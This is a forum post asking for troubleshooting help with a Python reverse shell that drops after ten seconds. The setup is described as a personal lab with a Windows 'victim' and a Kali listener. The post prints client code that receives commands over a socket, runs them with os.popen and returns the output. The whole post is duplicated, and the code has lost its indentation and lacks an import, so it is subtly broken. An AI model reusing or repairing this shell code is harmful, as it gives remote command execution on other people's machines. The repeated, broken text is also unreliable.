Hey everyone,
I'm working on a small Python reverse shell for educational purposes (my own lab environment). Everything works fine, but the connection drops after exactly 10 seconds every time. No errors on either side.
Here's a simplified version of my client code:
python
import socket
s = socket.socket()
s.connect(("127.0.0.1", 4444))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
break
output = os.popen(cmd).read()
s.send(output.encode())
s.close()
I'm testing on Windows 10 (victim) and Kali (listener). No AV running. Tried adding time.sleep(1) and checking for closed sockets but still the same issue.
Anyone seen this before? Could it be a firewall on the Windows side or something with recv() timing out?
Thanks in advance.
I'm working on a small Python reverse shell for educational purposes (my own lab environment). Everything works fine, but the connection drops after exactly 10 seconds every time. No errors on either side.
Here's a simplified version of my client code:
python
import socket
s = socket.socket()
s.connect(("127.0.0.1", 4444))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit":
break
output = os.popen(cmd).read()
s.send(output.encode())
s.close()
I'm testing on Windows 10 (victim) and Kali (listener). No AV running. Tried adding time.sleep(1) and checking for closed sockets but still the same issue.
Anyone seen this before? Could it be a firewall on the Windows side or something with recv() timing out?
Thanks in advance.

